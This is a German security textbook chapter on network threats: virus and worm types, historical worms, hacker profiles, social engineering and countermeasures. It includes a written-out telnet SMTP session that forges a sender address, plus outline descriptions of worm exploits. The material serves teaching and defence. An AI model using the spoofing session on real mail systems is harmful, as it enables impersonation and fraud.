2 Gefahren im Netz

2.1 Computerviren

Der Begriff des Computervirus wurde im Jahr 1984 durch den Programmierer Fred Cohen bei DEC geprägt, der als erster eine Abhandlung zu seiner prinzipiellen Funktionsweise veröffentlichte: "We define a computer-'virus' as a program that can 'infect' other programs by modifying them to include a possibly evolved copy of itself. With the infectionproperty, a virus can spread throughout a computer system or network using the authorizations of every user using it to infect their programs. Every program that gets infected may also act as a virus and thus the infection grows."

Diese Definition entspricht der Verhaltensweise eines sogenannten "Link-Virus", das auf ausführbaren Programmen arbeitet. Im Laufe der Evolution der Viren stellte sich jedoch heraus, das eine virenartige Verbreitung von Information auch auf vielerlei anderen Wegen möglich ist. Man geht heute von ca. 60000 verschiedenen Virenarten aus, die sich im Umlauf befinden.

Virus-Designer entwickeln laufend neue Techniken und zugleich zirkulieren Entwicklungswerkzeuge, die es Personen ohne Programmierkenntnisse ermöglicht, Mutationen (strains) zu erzeugen. Viren beschränken sich dabei nicht mehr auf die "Infektion" ausführbarer Programme, sondern befallen alle Dateien, die in irgendeiner Weise ausführbare Teile enthalten, also auch Word-Dokumente, Excel-Tabellen, E-Mails, Webseiten, usw. Es ist deshalb notwendig, die Virengefahr ernst zu nehmen. Sieht man dies im Zusammenhang mit der Möglichkeit, eigene Datenträger mitzubringen und sie im LAN des Unternehmens zu verwenden, ist dies ein weiterer Grund zur Aufmerksamkeit. Es ist deshalb wichtig, eine Antivirus-Politik zu formulieren. Die Antivirus-Politik des LAN hat primär das Ziel, eine Vireninfektion zu verhindern, Viren vor dem Ausbruch nachzuweisen sowie Bekämpfung und Wiederherstellung zu erleichtern, wenn das Unglück schon geschehen ist. Sie muß aber vor allem die Benutzer für die Gefahr sensibilisieren, so daß sie beispielsweise nicht auf jedes E-Mail-Attachment klicken (Man isst ja auch nicht jeden Pilz, den man im Wald findet.).

Bootsektor-Viren

Im ersten Sektor eines Datenträgers steht normalerweise ein Verweis, wo die Laderoutine für das Betriebssystem zu finden ist. Ein Bootsektor-Virus nistet sich in diesen Sektor ein, kopiert den ursprünglichen Bootsektor an eine andere Stelle. Bei einem Bootvorgang wird nun zunächst das Virus aktiviert. Anschließend wird der kopierte Bootsektor ausgeführt, der dann das Betriebssystem lädt. Auf diese Weise wird das Virus bei jedem Systemstart automatisch ausgeführt. Es bleibt resident im Speicher und infiziert jeden weiteren Bootsektor, den es finden kann. Zur Verbreitung ist es auf bootfähige Medien wie Disketten angewiesen. Bootsektor-Viren spielen daher heutzutage eine untergeordnete Rolle.

Link-Viren

Link-Viren verbreiten sich durch infizierte auführbare Programme, in die sich das Virus eingenistet hat. Beim Infizieren der Datei hängt sich das Virus meist hinter den ursprünglichen Programmcode an und schreibt vor diesen einen Sprungbefehl auf sich selbst. Beim Aufruf des modifizierten Programms wird also zunächst der Sprungbefehl auf den Viruscode vollzogen und dieser Code ausgeführt. Dieser kann nun seine Verbreitungs- und Schadensfunktion ausführen und startet nach deren Beendigung das eigentliche Wirtsprogramm.

Speicherresidente Viren

Speicherresidente Viren bleiben nach der Aktivierung als Prozeß im Speicher aktiv. Sie können sich damit auch nach Beendigung des infizierten Programms ausbreiten oder Schaden anrichten. Diese Eingenschaft wird meist mit den andern Vireneigenschaften kombiniert (z.B. bei Bootsektor-Viren, Tarnkappen-Viren).

Tarnkappen-Viren (Stealth-Viren)

Sie verbergen sich im Arbeitsspeicher, im Master-Boot-Record oder im Bootsektor. Sie benutzen unter anderem falsche Meldungen an Antivirusprogramme, um einem Viruscheck zu entgehen. Wenn eine infizierte Datei zur Bearbeitung geöffnet wird, wird sie vom speicherresidenten Tarnkappen-Virus desinfiziert und dann zur Bearbeitung freigegeben. Wird die bearbeitete Datei wieder geschlossen, infiziert sie der speicherresidente Teil wieder. Das Virus verschleiert natürlich auch sein Vorhandensein im Arbeitsspeicher des Systems.

Polymorphe Viren

Polymorphe Viren verhalten sich wie Link-Viren. Sie verschlüsseln und verändern aber mit jeder Infektion ihren eigenen Programmcode. Man kann diese Viren daher nur sehr schwer über eine Signatur erkennen. Dieser Typ gehört zur neueren Generation. Virusdesigner benutzen verschiedene "mutation engines" zum Generieren solcher Viren.

Makro-Viren

Makro-Viren infizieren und verbreiten sich nicht durch ausführbare Programme, sondern durch Datendateien wie Dokumente und Tabellen. Sie greifen dabei auf die umfangreichen Makro-Sprachen von Programmen wie Word oder Excel zurück. Diese Makro-Sprachen dienen normalerweise zur Automatisierung von Arbeitsabläufen oder zur Implementierung neuer Funktionen. Eines der ersten Viren dieses Typs war "Concept", das Word-Dokumente infizierte. Concept nutzt zur Aktivierung das Makro "AutoOpen", das beim Öffnen eines Dokuments ausgeführt wird und das Virus selbst startet. Danach infizierte es die globale Dokumentvorlage "NORMAL.DOT" und installierte weitere Makros wie "FileSaveAs". Das Infizieren der Dokumentvorlage aktivierte das Virus bei jedem Aufruf von Word, da immer zuerst die Makros der Dokumentvorlage ausgeführt werden. Das Makro "FileSaveAs" sogte für die Verbreitung, es kopierte das Virus beim Abspeichern eines Dokuments mit mit diesem Dokument.
Das Word-Virus "Melissa", das sich zusätzlich durch Outlook-Schnittstelle selbst per E-Mail verschicken kann ist nur ein Beispiel der Möglichkeiten, die man bei der Virenentwicklung ausnutzen kann.

Gegenmaßnahmen

Man kann mit verschiedenen Programmen ein System auf Virenbefall prüfen, Viren entfernen oder eine Infektion verhindern.
  • Prüfsummenprogramme
    Ein Prüfsummenprogramm generiert in einem ersten Lauf für jede Datei eines Datenträgers eine Prüfsumme und legt diese in einer Datenbank ab. Nun kann zu einem beliebigen Zeitpunkt die frühere Prüfsumme aus der Datenbank mit der aktuell generierten verglichen werden. Vorteilhaft ist, daß Änderungen sofort erkannt und neue Viren gefunden werden. Jedoch ändern sich Programme und Daten auch ohne Viren-Einfluß. Neue Viren sind daher schwer von Fehlalarm zu unterscheiden. Das System muß bei Prüfsummengenerierung garantiert virenfrei sein.
  • Virenscanner
    Virenscanner suchen anhand verschiedener Merkmale (Signaturen) nach Viren. Der Suchvorgang wird entweder manuell ausgelöst oder läuft ständig im Hintergrund. Auch wird der Arbeitsspeicher überwacht, so daß schon beim Aufruf eines infizierten Programmes die Virenausführung sofort beendet werden kann. Virenscanner bringen meist auch Mittel zur Beseitigung der von ihnen gefunden Viren mit - wobei die Beseitungsroutinen nicht immer zum Erfolg führen und mitunter das System sogar irreparabel schädigen. Damit ein Virenscanner die neuesten Viren erkennen kann, bedient er sich einer Datei mit charakteristischen Merkmalen der Viren. Diese Datei muß ständig aktuell gehalten werden, da ansonsten eine Erkennung neuer Viren nicht möglich ist. Bei Virenscan werden zwei Methoden unterschieden:
    • Signaturbasierte Suche, mit der sich nicht-polymorphe Viren leicht aufspüren lassen. Eine charakteristische Byte-Folge aus dem Viruscode wird als Signatur festgehalten. Mit Hilfe dieser Signatur kann nun nach dem Virus gezielt gesucht werden.
    • Heuristische Suche, mit der auch polymorphe Viren entdeckt werden. Dabei bedient man sich heuristischer Methoden. Diese gehen davon aus, daß jedes Virus eine gewisse virentypische Struktur aufweisen muß. Man sucht daher nach Befehlsfolgen und -kombinationen, die ein Virus gewöhnlich aufweist. Aus der Häufigkeit der gefundenen Merkmale läßt sich eine Wahrscheinlichkeit für eine Infektion ermitteln. Der Schwellenwert für die Wahrscheinlichkeit legt fest, ob ein Alarm erfolgt. Dabei kann es vorkommen, daß ein "Bösewicht durchrutscht.

Ein zweckmäßiger Aufbau des lokalen Netzes ist eine Voraussetzung für einen hohen Grad an Sicherheit vor Virenangriffen. Eine konsequente Trennung von Daten- und ausführbaren Dateien hat große Bedeutung für die Sicherung vor Vireninfektionen und -ausbrüchen. Nur der Systemverwalter darf Schreibberechtigungen für Datenbereiche mit ausführbaren Dateien haben. Der Systemverwalter ist damit verantwortlich, die Software zu kontrollieren, ehe sie im LAN installiert wird. Datenbereiche mit Dateien, zu denen viele Benutzer Schreibberechti-gungen haben, müssen von ausführbaren Dateien freigehalten werden. Das hilft zwar nicht gegen Makro-Viren in Datendateien, hält jedoch viele Viren fern. Der zweite Vorteil einer solchen Trennung ist die schnelle Wiederherstellung eines Client- oder Serverrechners. Da sich die Programmbereiche nicht ändern (sollten), kann ein solcher Bereich schnell durch Einspielen eines Backups oder, falls der älteste Backup auch schon verseucht sein sollte, durch Neuinstallation restauriert werden.
Alle Netzlaufwerke werden regelmäßig auf Viren gescannt (mindestens wöchentlich). Lokale Festplatten werden täglich gescannt. Die Benutzer sind verpflichtet, Disketten zu scannen, ehe sie in ihren PC eingelesen werden. Alle Benutzer werden in den Gebrauch von Antiviruspro-grammen eingeführt, und es wird festgelegt, wann virusähnliche Probleme dem System-verwalter überlassen werden. Es gilt der Grundsatz "lieber ein Virusverdacht zu viel als einer zu wenig", damit die Benutzer ermutigt werden, bei einem Versacht sofirt Alarm zu schlagen.
Der Rechner des einzelnen Benutzers stellt einen Zugangsweg zum LAN dar und ist auch selbst verletzbar. Ein wichtiger Teil der vorbeugenden Arbeit ist die Benutzerdisziplin, die das Risiko von Vireninfektionen verringert. Programme unbekannter Herkunft und unbekannter Wirkung dürfen nicht ohne ein Virusscannen ausgeführt werden. Unbekannte Disketten müssen mit einem Antivirusprogramm kontrolliert werden, ehe sie ausgeführt oder auf Festplatte kopiert werden. Checken Sie regelmäßig Festplatten mit aktualisierten Antivirusprogrammen, und verwenden Sie ein residentes Antivirusprogramm, das den Rechner beim Start checkt.
Trotz ausgedehnter Sicherheitsmaßnahmen können Arbeitsstationen oder das lokale Netz von Viren angegriffen werden. In dem Ma?ie LAN-Benutzer und -Verantwortliche sicherheitsbewu?r werden, werden Viren fortschrittlicher. Identifizieren Sie Ursprung und Art der Infektion. Wenn der Ursprung nicht unmittelbar festgestellt werden kann, ist es ausreichend, die Art der Infektion festzustellen. Suchen Sie den Schaden im Netz und identifizieren sie die betroffenen Rechner. Isolieren Sie eventuelle Schäden und soweit möglich die Quelle der Infektion. Entfernen Sie sofort infizierte Rechner vom Netz. Nehmen Sie kein Logoff vor, sondern ziehen Sie das Netzwerkkabel ab. Ein reguläres Logoff kann zur weiteren Verbreitung beitragen. Nur 100% desinfizierte PCs werden an das Netz angeschlossen. Wenn die Infektion nicht isoliert werden kann, ist es notwendig, das ganze Netz herunterzufahren, und die Festplatten in den Servern und Arbeitsstationen mit zwei oder mehr verschiedenen Virusscannern zu scannen. Nachdem die feindlichen Programme entfernt worden sind, wird ein Restore der verlorenen oder beschädigten Daten und auch der Boot- und Master-Boot-Sektoren vorgenommen.

Umgang mit Viren-Fehlalarmen - "HOAX"

Virenwarnungen, die die gesamte DV-Branche in Aufruhr versetzen und sich danach in Wohlgefallen auflösen, sind bereits seit einigen Jahren bekannt. Die vergeudete Arbeitszeit im Einzelfall kann mehr Schaden anrichten als ein real existierendes Virus. Im Fachjargon werden solche Fehlwarnungen als HOAX bezeichnet. Ein Hoax warnt vor großen Schäden bis hin zur totalen Rechnerzerstörung, und bittet darum, diese Warnung an alle Bekannten weiterzugeben Ein Hoax besitzt keinen internen Verbreitungsmechanismus. Stattdessen werden menschliche Schwächen für die Verbreitung ausgenutzt. Über den Lotus-Notes-Verbund oder anderen E-Mail-Anbindungen werden die vermeintlichen Virenwarnungen verteilt. die Wurzel des Hoaxproblems liegt darin, daß sich Warnmeldungen häufig schneller als die Viren verbreiten. Zudem ist der Einsatz eines Hoax wesentlich effektiver ist als die Programmierung eines realen Virus, da der Hoax von Virensuchprogrammen nicht erkannt wird und die Gutgläubigkeit und Sorglosigkeit der Nutzer zur Weiterverbreitung nutzt. Zur Herstellung wird statt tiefergehender Systemkenntnisse nur ein quasitechnisches Wissen benötigt. Der Kreis der Personen, die einen Hoax erzeugen können, ist damit wesentlich größer als der Kreis potentieller Virenprogrammierer.

Mit der Verteilung des Hoax beginnt eine Kettenreaktion, die häufig durch zwei Entwicklungen gekennzeichnet ist. Gutmeinende Nutzer fügen eigene Warnungen hinzu, andere nicht so gutmeinende Nutzer erweitern die beschriebene Gefahr noch durch selbst erdachte Szenarien. Somit unterliegen die Benachrichtigungen, die einen Hoax charakterisieren Änderungen. Daher kann ein Hoax in verschiedenen Variationen existieren und so mehr als einmal durch ein Netz rollen. So gab es zum Beispiel im Jahr 1996 die Warnung vor einem angeblichen "Penal"-Virus. Für einen aufmerksamen Beobachter der Szene war klar, daß diese Warnung identisch war mit einer früheren, die vor dem nicht existenten "Penpal"-Virus warnte. Nachdem also auf irgendeine Art und Weise das "p" entfernt wurde, suchte sich auch diese Hoax-Variation ihren Weg durch das Internet. Oft sind auch genaue Anweisungen in den Warnungen enthalten, wie man das Virusprogramm beseitigen kann, beispielsweise durch Löschen einer bestimmten Daten. Der gutgläubige Benutzer, der dieser Anweisung folgt, schädigt erst dadurch sein System und macht es gegebenenfalls unbenutzbar.

Wenn man die Hoax-Nachrichten der letzten Jahre betrachtet, lassen sich gemeinsame Faktoren erkennen. Normalerweise besteht ein Hoax aus einer Kombination der folgenden Faktoren:

  • Gewarnt wird vor Viren und Trojanischen Pferden, die mittels E-Mail über das Internet versandt wurden.
  • Üblicherweise stammt die E-Mail von einer Person, manchmal von einem Unternehmen, niemals jedoch von einer Behörde.
  • Die Nachricht warnt vor dem Lesen oder "Downloaden" des Virus und verspricht Rettung beim Löschen der den Virus enthaltenden Nachricht.
  • Die beschriebene schadensstiftende Software soll unvergleichbar zerstörerische Wirkung, quasi "gottgleiche" Macht ausüben können. Ihr wird häufig die Fähigkeit zugeschrieben, sich über E-Mail selbständig weiterzuverbreiten. Die beschriebene schadensstiftende Wirkung ist in der Regel weit von dem entfernt, was technisch heute möglich ist.
  • Im Verlauf der Nachricht wird der Leser mehrmals aufgefordert, jede Person im Bekanntenkreis via E-Mail zu warnen.
  • Der Hoax gibt sich unter Bezugnahme auf irgendeine anerkannte öffentliche Institution den Anschein der Seriosität. Meistens wird die schadensstiftende Software von der Institution als "bad" oder "worried" bezeichnet.
  • Die gesamte Nachricht ist in einem technischen Sprachjargon verfaßt.

Wenn eine Nachricht als Hoax erkannt wird, sollten folgende Schritte unternommen werden:

  • Leiten sie die Nachricht nicht weiter, um zumindest an dieser Stelle die Wanderschaft des Hoax zu unterbrechen.
  • Unterrichten sie den Sender der Nachricht über die wahre Natur der von ihm versandten E-Mail.
  • Übermitteln sie ihm Informationen über den Aufbau und die Wirkungsweise eines Hoax. Auf diese Art und Weise kann er in Zukunft ebenfalls einen zugesandten Hoax erkennen.
  • Sollten sie sich nicht sicher sein, ob eine Nachricht ein Hoax ist, überprüfen sie auf Datenbanken von Anti-Virus-Unternehmen oder über anerkannte Institutionen oder Fachliteratur, ob dieses Virus dort bekannt ist oder www.hoax-info.de).

2.2 Würmer

Computer-Würmer sind Programme, die sich selbst über ein Rechnernetzwerk verbreiten könnn. Es gibt sie in verschiedenen Ausprägungen, beispielsweise solche, die auf Netzwerk-Prozessen basieren oder Würmer, die sich selbst per E-Mail verschicken können (I-love-you, Goner, Sircam oder Nimda). Es lassen sich grob zwei Gruppen unterscheiden:
  • Prozeß-Würmer
    Ein Computer-Wurm setzt sich aus einer Anzahl von Prozessen, den Wurm-Segmenten, zusammen. Diese sind auf die Rechner eines Netzwerks verteilt und haben die Möglichkeit, gemeinsam bestimmte Leistungen zu erbringen:
    "Ein Wurm-Segment ist ein eigenständiger Prozeß, der die Fähigkeit besitzt, eine eventuell modifizierte Abbildung von sich selbst über das Netzwerk auf einen anderen Rechner zu übertragen und dort zu aktivieren. Die erzeugten Abbildungen müssen diese Eigenschaft ebenfalls besitzen. Das Verhalten aller zugehörigen Segmente bestimmt das Verhalten eines Computer-Wurms. Die Ausbreitung der Wurm-Segmente erfolgt im Gegensatz zu einem Computer-Virus ohne eine Infektion von Dateien." (Klaus-Peter Kossakowski)
    Ein Prozess-Wurm ist also nur im Arbeitspeicher der infizierten Rechner vorhanden. Dies ähnelt sehr einem Rechencluster und es gab dazu auch Versuche, mit Würmern ein verteiltes Rechnen zu realisieren.

    Der "Internet-Wurm" war einer der ersten Verteter seiner Art. Er ist ein reiner Prozess-Wurm, der versucht, auf anderen Rechnern ein Shell-Script zu starten, das dann seinerseits versucht, andere Rechner zu infizieren. Der Wurm nutzt verschiedene Sicherheitslücken aus, die im Folgenden beschrieben werden:

    • Entwickleroption in Sendmail: Manche Versionen des Sendmail-Dämons waren mit einer Debug-Option übersetzt worden, die für Entwickler gedacht war. Diese Option erlaubte die Interpretation einer über E-Mail empfangenen Nachricht als Befehl. Damit konnte per E-Mail eine Shell auf den Betroffenen Rechnern gestartet werden.
    • Im Finger-Dämon wurde ein Buffer-Overflow einer Funktion der Standard-C-Bibliothek ausgenutzt. Die Funktion übernimmt beim Aufruf einen Kommandozeile-Parameter dessen Länge nicht überprüft wird. Schickt man nun eine sehr lange Zeichenkette als Parameter an den Finger-Dämon, so wird über den Speicherplatz, der für die Speicherung des Parameters vorgesehen ist, hinausgeschrieben und der Prozeß selbst verändert. Dies ermöglichte es, eine Shell mit den Rechten des Finger-Dämons zu startet.
    • Ausnutzung von RSH: Es gibt bei RSH eine Option, die es erlaubt, vertrauenswürdige Rechner anzugeben (Eintrag in der ".rhosts"-Datei), bei denen dann die Abfrage des Passworts entfällt. So konnte der Wurm weitere Rechner befallen.
    • Bei dem neu befallen System wurde ein Paßwort-Cracker eingesetzt, um weitere Accounts mit ".rhosts"-Einträgen zu knacken. Mit dem erratenen Passwort kann der Wurm nun in andere Rechner eindringen (siehe auch Kapitel 2.

    Ein neueres Beispiel ist der "Code-Red"-Wurm, der sich über einen Buffer-Overflow im HTTP-Server IIS von Microsoft verbreitet. Der Wurm schlug genau einen Monat nach Bekanntwerden des Fehlers zu und infizierte innerhalb 24 Stunden mehrere hunderttausend Rechner. Der Wurm öffnet eine TCP/IP Verbindung auf dem HTTP-Port 80 und nistet sich mit Hilfe des Buffer-Overflows im Speicher des Servers ein. Von dort aus versucht er weitere Server zu infizieren. Zwischen 20 und 24 Uhr GMT veranlaßt er außerdem, dass alle infizierten Rechner einen DDoS-Angriff auf die Webseite des weißen Hauses führen.

  • E-Mail-Würmer
    Sie sind in der Lage, sich selbst über ein Netzwerk zu verschicken. Das Vorhandensein dieser Funktion grenzt sie von den Viren ab. Anders als die Prozeß-Würmer infizieren die E-Mail-Würmer auch Dateien.

    Der Loveletter ("I Love You" - so genannt wegen des E-Mail-Betreffs) ist ein Visual-Basic-Script (.vbs) und verschickt sich als Attachment in einer E-Mail. Das das Attachment trägt den Namen "LOVE-LETTER-FOR-YOU.TXT.vbs". Das Betriebsystem Wondows hat die üble Eigenart, Bei Dateien bekannte, registrierte Endungen (".vbs", ".exe" ".doc", ".xls", usw.) per Voreinstellung auszublenden. Der User sieht somit nur ein Attachment namens "LOVE-LETTER-FOR-YOU.TXT", das unverdächtig wirkt. Da aber Attachments mit der Endung ".vbs" mit dem VBS-Interpreter verknüpft sind, wird das Attachment beim Anklicken sofort ausgeführt. Einmal aktiviert, nimmt das Virus verschiedene Veränderungen am System vor. Zunächst sorgt es dafür, daß es bei jedem Systemstart aufgerufen wird. In einem zweiten Schritt manipuliert es die Startseite des Internet Explorers, so daß das Trojaner-Programm "BUGSFIX.EXE" heruntergeladen und ausgeführt wird. Dieses dient dazu, Passwörter auszuspionieren und an den Empfänger "mailme@super.net.ph" zu senden. Zur Verbreitung benutzt der Wurm den IRC-Client "mIRC" und den Mailer "Outlook". Das Programm "mIRC" wird so umkonfiguriert, daß der Wurm automatisch an andere Nutzer versandt wird. Mit Hilfe von Outlook versendet sich der Wurm an alle Einträge des Adressbuches. Als weitere Schadensfunktion schreibt sich der Wurm über alle Dateien Endungen "jpg", "jpeg", "mp3", "mp2", "js", "jse", "css", "wsh", "sct", "hta", "vbs" und "vbe", an die er ein ".vbs" anhängt. Die ersten Nachfolger des Loveletter-Wurms waren einfache Modifikationen, spätere Varianten hatten Erweiterungen, z. B. ein eigener SMTP-Mailer, der der Weiterversand auch ohne Outlook ermöglicht.

Wer wissen will, wie intelligent E-Mail-Viren heute sind, der kann sich die vier Artikel bei Heise Security durchlesen. Sie sind nicht nur echt witzig geschrieben, sondern auch echt interessant:

http://www.heise.de/security/artikel/59611

Gegenmaßnahmen

Würmer nutzen normalerweise mehrere bekannte Schwachstellen in Kombination aus. Sobald Schwachstellen bekannt sind und auf einschlägigen Mailinglisten oder Websites der bekannten CERTs auftauchen, muss umgehend gehandelt und diese beseitigt werden. Unnötige Systemdienste, die allgemein wenig benutzt werden und daher tendenziell mehr Fehler enthalten können, sollte man deaktivieren. Intrusion-Detection-Systeme (IDS) können gegen verdächtiges Verhalten von Prozeß-Würmern helfen. Gerade gegen E-Mail Würmer gibt es mehrere wirksame Mittel. Zum einen kann man, sofern man darauf nicht angewiesen ist, das jeweilige Makro-System, auf dem der Wurm basiert deaktivieren. Ein Filtersystem, welches eingehende E-Mail auf verdächtige Anhänge überprüft und natürlich ständig auf dem neuesten Stand gehalten werden muß, kann das Unheil schon im Vorfeld verhindern. Oft hilft auch gesunder Menschenverstand. Wenn man zum Beispiel von einem bekannten E-Mail Kontakt plötzlich in einer fremden Sprache und mit seltsamem Betreff angeschrieben wird, ist es sicher nicht verkehrt, die E-Mail mit einer gewissen Vorsicht handzuhaben.

Kapitel 2 behandelt und auf Gefahren, die speziell die Anwenderseite betreffen, wird in Kapitel 7 eingegangen.

2.3 Hacker und Cracker

Wie kann jemand in den Rechner eindringen? Um in einen fremden Rechner einzudringen gibt es etliche Möglichkeiten. Einige davon sollen in den folgenden Abschnitten zur Sprache kommen. Wie schon erwähnt, kommen Eindringlinge von innen wie von außen. Die Gefahren für offene EDV-Systeme können mit einem Wort, 'hacking' und 'Hacker' ausgedrückt werden.

Hacker sind vor allem durch die technische und intellektuelle Herausforderung motiviert. Es ist sehr selten die Rede von rationell kriminellem Verhalten, da Risiko und Anforderungen an Ressourcen (Zeit, Ausrüstung, Anzahl der Teilnehmer) den Umfang der greifbaren Ausbeute übersteigt. In amerikanischer Terminologie wird mit folgenden Hackerprofilen gearbeitet, die ein besseres Bild davon geben, welche Motive hinter der Hackeraktivität liegen.

  • The Trainspotter ist ein Hacker, der besessen ist, zu so vielen System wie möglich Zugang zu erlangen, und der nach einem geglückten Hack selten zurückkehrt.
  • Kilroy (was here) ist der Hackertyp, der es vorzieht, ein klares Zeichen zu hinterlassen, daß der Betreffende zu Besuch im System gewesen ist. Gebrauchsdiebstahl ist das Ziel seines Eindringens in die Systeme.
  • The Spy (Spion) ist ein Hacker, der auf der Jagd nach geheimer Information ist. Eventuell hat er dabei einem Weiterverkauf vor Augen.
  • The Fixer hat das Ziel, Daten zu modifizieren, z. B. Noten, ökonomische Daten, Telefonrechnungen, Personalinformationen, etc.
  • The Vandal (Cracker) (Vandale) hat, wie die Bezeichnung andeutet, das Ziel, im System so viel Schaden wie möglich anzurichten.

Gefährliche Hacks sind durch folgende Schritte gekennzeichnet:

  1. Erlangung des Zugangs zum System
  2. Etablieren eines Supervisor- oder Superuser-Status
  3. Einrichtung einer Hintertür zum System (trapdoor)
  4. Löschen aller Spuren
Das Ziel ist ganz einfach, Zugang zum System und genügend Kontrolle zu erlangen, um eine Hintertür einrichten zu können. Die Hintertür soll später einen ungehinderten Zugang ermöglichen, um das betreffende System als Sprungbrett in andere zu benutzen. Je effektiver die Spuren gelöscht werden, desto schwieriger ist es, den Hack aufzudecken und passende Gegenmaßnahmen zu ergreifen.

2.4 Schadensformen im Netz

Allgemeine Schädigung durch Eindringlinge

  • Die Hacker können Zugang zu vertraulichen Daten erlangen, Daten und Programme stehlen oder löschen.
  • Hacker belegen Systemressourcen, was zu Betriebsstörungen führen kann. Gebrauchsdiebstahl, z. B. kostenlose Kommunikation über das Firmennetz kommt auch vor.
  • Durch Zurücklassen von Viren, Trojanischen Pferden oder Programmen mit logischen Bomben kann der Eindringling Sabotage verüben.
  • Möglicherweise läßt er aber nur eine trap door zurück und begnügt sich mit der Inanspruchnahme von Plattenplatz und Rechnerleistung. Auch das kann unangenehm werden, wenn jemand Ihren WWW-Server als Depot für Pornobilder verwendet.
  • Lahmlegen (denial-of-service) oder "Ausblenden" (Hijacking) eines oder mehrerer Rechner. Die Server sind nicht mehr erreichbar, ein anderes System liefert stattdessen Falschinformation oder sammelt Daten.
  • Aufdeckung von Hackereinbrüchen führt zu einem schlechten Ruf und zu Mißtrauen zum System und zur Organisation.
Aber auch ohne in den Server einzudringen, kann jemand Ihnen im Internet Schäden zufügen.

Allgemeine Schädigung im Internet

  • Gefälschte E-Mail (z. B. bei Bestellungen)
    Sowohl die Informationen im Kopf der E-Mail-Nachricht als auch der eigentliche Text werden im Klartext vom Sender zum Empfänger transportiert. Jeder mit ausreichenden Zugriffsrechten auf einem Durchgangssystem könnte die Post mitlesen oder verfälschen. Die einzige befriedigende Lösung besteht darin, zumindest den Text zu chiffrieren.
    Ein anderes Problem der Sicherheit von E-Mail besteht in der Möglichkeit, einen Brief zu fälschen. Da in der Regel das 'From:'-Feld Aufschluß über den Absender gibt, kann nur die Abschätzung der Wahrscheinlichkeit helfen zu beurteilen, ob ein Brief von president@whitehouse.gov tatsächlich vom amerikanischen Präsidenten stammt. Auch in diesem Fall verschafft Verschlüsselung ansatzweise Abhilfe, indem die Briefe mit einer digitalen Signatur versehen werden können.
    Ohne weitere Maßnahmen findet bei Mailsystemen keine Überprüfung der Absenderadressen statt. Damit kann diese Angabe beliebig gefälscht werden.

    Beispiel(Eingaben fett)

    telnet victim smtp 
    Trying 192.168.253.250...
    Connected to 192.168.253.250.
    Escape character is '^]'.
    220 victim.goodguys.de ESMTP Sendmail 8.8.8/8.8.8; Thu, 14 Oct 1999 15:06:52 +0200
    mail from: god@heaven.org
    250 god@heaven.org... Sender ok
    rcpt to:deneme
    250 deneme... Recipient ok
    data
    354 Enter mail, end with "." on a line by itself
    Betr.: Ihre Anfrage wg Einlass in den Himmel!
    
    Es tut uns leid, aber wir koennen Sie als Systemadministrator
    nicht bei uns aufnehmen und haben Ihre Anfrage an unser Tochterunternehmen
    www.hell.org weitergeleitet.
    
    Mit freundlichen Gruessen,
       i. V. Petrus
    .
    250 PAA00111 Message accepted for delivery
    quit
    221 victim.goodguys.de closing connection
    Connection closed by foreign host.                       
    
  • Gefälschte Newsbeiträge
    Auf die gleiche Art und Weise kann sich jemand in den Newsgruppen, den schwarzen Brettern des Internet (genauer des USENET), als Angehöriger Ihres Unternehmens ausgeben und durch entsprechende Veröffentlichungen den Ruf der Firma empfindlich schädigen.
    Beispiel: Es postet jemand berichte über das gehäufte Auftreten von Salmonellen bei McDonalds.

  • Abhören von Daten
    Wie schon mehrfach erwähnt, besteht im Internet auch generell die Möglichkeit, Daten auf dem Weg durchs Netz abzuhören oder sie abzufangen und verändert weiterzugeben. Loginnamen und Passwörter werden oft im Klartext übertragen. Mehr dazu weiter unten.

  • Gaunereien
    Kettenbriefe, Schneeballsysteme, Verkauf von Diebesgut, Angebot nicht existierender Waren, usw. gibt es natürlich auch im Internet.

2.5 Paßwort raten, 'social engineering'

Die größte Sicherheitslücke ist nach wie vor der Benutzer selbst. Paßwörter werden aufgeschrieben (klassisches Beispiel: der Zettel, der unter der Tastatur klebt) oder sie sind aus dem persönlichen Umfeld entnommen (Vornamen von Frau, Mann, Kindern, Hund, die eigene Telefonnummer, die Automarke usw.). Selbst das Paßwort 'geheim' wird immer noch angetroffen. Auch 'Joshua' aus dem Film 'War Games' war eine Zeit sehr beliebt. Übertroffen wird das nur noch von '1234567' oder 'qwertz'. Wer sich ein kompliziertes Paßwort nicht merken kann, sollte es mit den Anfangsbuchstaben eines Merksatzes versuchen. So ergibt z. B. 'Fest gemauert in der Erden steht die Form aus Lehm gebrannt' (Schiller: Lied der Glocke) das Paßwort 'FgidEsdFaLg'. Es gibt übrigens Paßwort-Knackprogramme, die einfach und brutal das Rechtschreibwörterbuch, Namenslisten usw. verwenden, um Paßwörter durch Probieren herauszufinden.

Es gibt immer noch Benutzer, die ihr Paßwort freiwillig preisgeben. Grundsätzlich gilt, daß weder der Systemadministrator noch irgend jemand sonst in der Firma oder beim Provider jemals Ihr Paßwort wissen müssen. Also cool bleiben, selbst wenn der Anrufer den Untergang aller Daten prophezeit, wenn er nicht sofort das Passwort erfährt.

Es geht aber aus in der Gegenrichtung. Der Systemverwalter bekommt am Montag im Morgengrauen einen Anruf: "Hier ist Direktor Rübenkürzer. Ich komme nicht mehr ins System. Sie müsssen sofort mein Passwort auf 'Whiskas' setzen!". Der Sysadmin stottert "Jawoll!" und tut wie befohlen. Drei Wochen später kommt Rübenkürzer aus dem Urlaub und findet unter seinen Account eine Pornobildersammlung vor.

2.6 Sicherheitslücken des Betriebssystems

Bis auf wenige Ausnahmen (z. B. FTP-Server, WWW-Server) sind bei PCs unter DOS, Windows 3.1x oder OS/2 keine Maßnahmen zur Sicherheit notwendig, da an PCs in der Regel keine Anwendungen gestartet sind, die Kontaktaufnahme von außen akzeptieren. Denn nur dann hat ein Eindringling eine Angriffsmöglichkeit.
Problematischer sind hier schon Unix, Novell Netware, Windows 95, 98, ME oder Windows NT, da hier prinzipiell Zugriff von außen möglich ist, wenn eigene Netzdienste angeboten werden, z. B. die Freigabe der Platte über NFS oder auch Fax-, Modem- oder Druckerserverprogramme. Bei der Wahl eines Serverbetriebssystems sollten daher Sicherheitsaspekte im Vordergrund stehen und nicht die (scheinbar) leichte Bedienbarkeit. So haben beispielsweise Viren bei DOS- oder Windowsrechnern leichtes Spiel, weil sie alle Programme auf der Platte befallen können. Bei Systemen mit Zugriffsrechten für Dateien (Unix, Novell Netware, Windows NT und 2000 etc.) können sie meist nur die Programme eines Benutzers verseuchen. Je nach System gibt es unterschiedliche Methoden ein System zu manipulieren:
